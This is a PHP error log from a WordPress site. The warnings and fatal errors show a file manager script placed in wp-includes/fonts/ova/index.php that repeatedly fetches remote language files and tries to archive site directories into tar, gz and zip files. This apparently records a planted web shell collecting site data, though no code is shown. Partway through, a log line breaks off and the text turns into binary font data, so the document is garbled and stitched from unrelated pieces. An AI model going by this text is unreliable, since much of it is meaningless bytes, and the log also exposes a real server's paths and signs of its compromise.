allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:43:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:43:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:44:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:44:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:45:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:45:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:46:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:46:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:47:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:47:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:56:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:57:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:58:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:58:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 00:00:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 00:00:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 00:14:43 UTC] PHP Fatal error: Uncaught BadMethodCallException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/ova.tar.gz" cannot be created, contents of file "index.php.tar" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1076 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1076): PharData->compress(4096, '.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1076 [31-Aug-2025 01:34:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 01:34:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 02:19:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 02:19:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 03:45:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [31-Aug-2025 03:45:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [02-Sep-2025 17:18:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [02-Sep-2025 17:18:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [02-Sep-2025 17:20:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [02-Sep-2025 17:20:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [02-Sep-2025 20:37:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [02-Sep-2025 20:37:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 07:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 07:37:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 07:37:38 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/class-wp-font-face-resolver.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/class-wp-font-face-resolver.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1117 [03-Sep-2025 10:37:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 10:37:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 10:37:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 10:37:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 10:39:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 10:39:17 UTC] PHP Warning: fil[03-Sep-2025 11:00:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:00:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:01:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:01:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:01:40 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/dashicons.svg.svg.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1118): PharData->compress(4096, 'svg.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [03-Sep-2025 11:01:43 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/dashicons.woff.woff.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1118): PharData->compress(4096, 'woff.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [03-Sep-2025 11:02:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:02:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:03:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:03:25 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/ova.tar" cannot be created, contents of file "index.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1075 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1075): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1075 [03-Sep-2025 11:03:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [03-Sep-2025 11:03:49 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/ova.zip" failed: unable to write local file header of file "dashicons.eot.eot.tar.gz" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/ova.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/ePK#[r(HH dashicons.ttfnu[ 0GSUB8BOS/2@O%|Vcmap_>$glyfqdE@headf6hhea7H$hmtxPlocalAmaxpo name+_"post#2\,. T_< 66 T  ,DFLTliga fG fPfEd@G.,, <  )9@B )9IIWY`iy )18CG 0@B 0@HPY`bp 03@E<vx"""0BTfnt  4 >JKHILGO. KQ5EF\GW*ZX]g$'.-JR $%p&'() 2M34H[i: OYEAjklmnr6 TRt"#7MSPywvx~}hBCDSQ98 L/0q@P1+N5s76D%&+,()"#:<A@8;=B>??uV*o-z{9/,!U<3{|;INC!bcd^_efa`2=1F  0 V     4 >JKHILG O!!.""##$$ %%&&''(())K**Q++5,,--..E//F0011\2233G44556677W8899*::Z;;X<<]==g>>??@@$AA'BB.CC-DDEEJFFGGRHHIIJJKKLLMMNNOO PPQQ$RR%SSpTTUUVVWWXXYYZZ&[['\\(]])^^ __``aabbccddeeffgghhiijj2kkMll3mm4nnHoo[ppiqq:rr ssttOuuvvYwwExxAyyzzj{{k||l}}m~~nr6 TRt"#7MSPywvx ~ }!!""##$$%%&&h''(())0011223344B55C66D7788S99Q@@BB98 L /0q@P !!1""##+$$N%%&&5''s(())00711622334455667788D99@@%AA&BB+CC,DD(EE)FF"GG#HHIIHH:II<PPAQQ@RR8SS;TT=UUBVV>WW?YY``bbcc?ddueeffgghhiiVppqq*rross-ttzuu{vvww9xx/yy,!U<3{|;I NC!bcd^_ e!!f""a##`$$2%%&&''((=))100113344F556677 88@@AA BB0CCEEFFGGPp0TNnR@">Rx  . @ L ` p | V j  d  @ff lp,&H `v0P<nBt6NfvB"b,d&Rx8f  P t ! !B!"L"""#D###$j$%%,%j%%&h&&''>'~''(P((()).)b)))*D*l**+B++,>,z,--2---.p.../L//0L001 141\1112B22233Z334`44455N556"6d667$7H7^778:8r89969P9j9999:n:; ;~;<<<2<<=N=> >>?(?f???@@r@AA@AABBDBBCCZCCCCD4DDE EDEEEFFTFfFG(GPGhGGH H@HpHHI&IZIIIJJNJJJKK8KLLM@MtMMNN4NNO OZOOPPBPdPPQ Q.Q`QQRRRvRSbST2TXTjT /%'767'7676?676227s& 9 ".   #!  &  .   $    2".4>57\66\n\67\i6\n\66\m]6b32+5#"&=4633 3656'&'&"17>767676676767676  $,$/ 3 #T  ,  -(  #  0%,$    "# '0%#'#5&''7&'#5367'7675373264&"8(6(M(6(77(6'M(6'8 --@--'6(77(6(L(6(88'6(s-@--@- ''753!55#'f4f&'f3("8'764&"&6?>764&67.6?>2'9j .j'99Չ j'89+(8j!-99'j. j9'ډ3j9'+99'j.!*6%54&+'##"3!26'2"&463"&46325#53"&4632M +"f"+   %%5&&̀%5&&Mf3%5&& 33 &5%%5&'%%5&Y%%5&   %)-''7'575#''7''7%#5%#55#!5#mmmgeffL4mmmmfff̀444P``pp;WXZZ4++g__pp__pp3YZZYYZZ@3333'#'7&67>264&"N$0M&M BB'BA U_3%Qz 7!3!33M3M#'767+"&4?547676PS0S d   SSS0S4   c"ZSS!7&'&7676?'76?> //1 .>H H>/1./ 1.>H G>/ 1+G%4&#!"3!26%32+"&=#"&46;5462#"&46;546232+"&5  M             f4  &&Y&& 3T\"2>4..'67&"&'&&7676'32267&'&765&'&'.'&'&676767667>j>>j}j>>j ,   %!  5/   ! I >j}j>>j}j> 3      9!     6* $,'Bl   (0<k"2>4.67#&'&'.'67>76'267&7&'&/..'&'&'&'&&'&6'&'>>j>>j}j>>j       ' W F2  "   #  Ob0>j}j>>j}j>           $  %  .;5 #(.39@ELRX]ci"2>4.3#&75#5'#676#67#6733#&&'&'53=373#675&'3'#&''#63&'673>j>>j}j>>jA7& ]#G&] &A7]R [&iF&\ &A8 8&. 0  - - 1 - 0>j}j>>j}j>#"!P% #"#ErP %cE#"E$!"FE"CO% ON 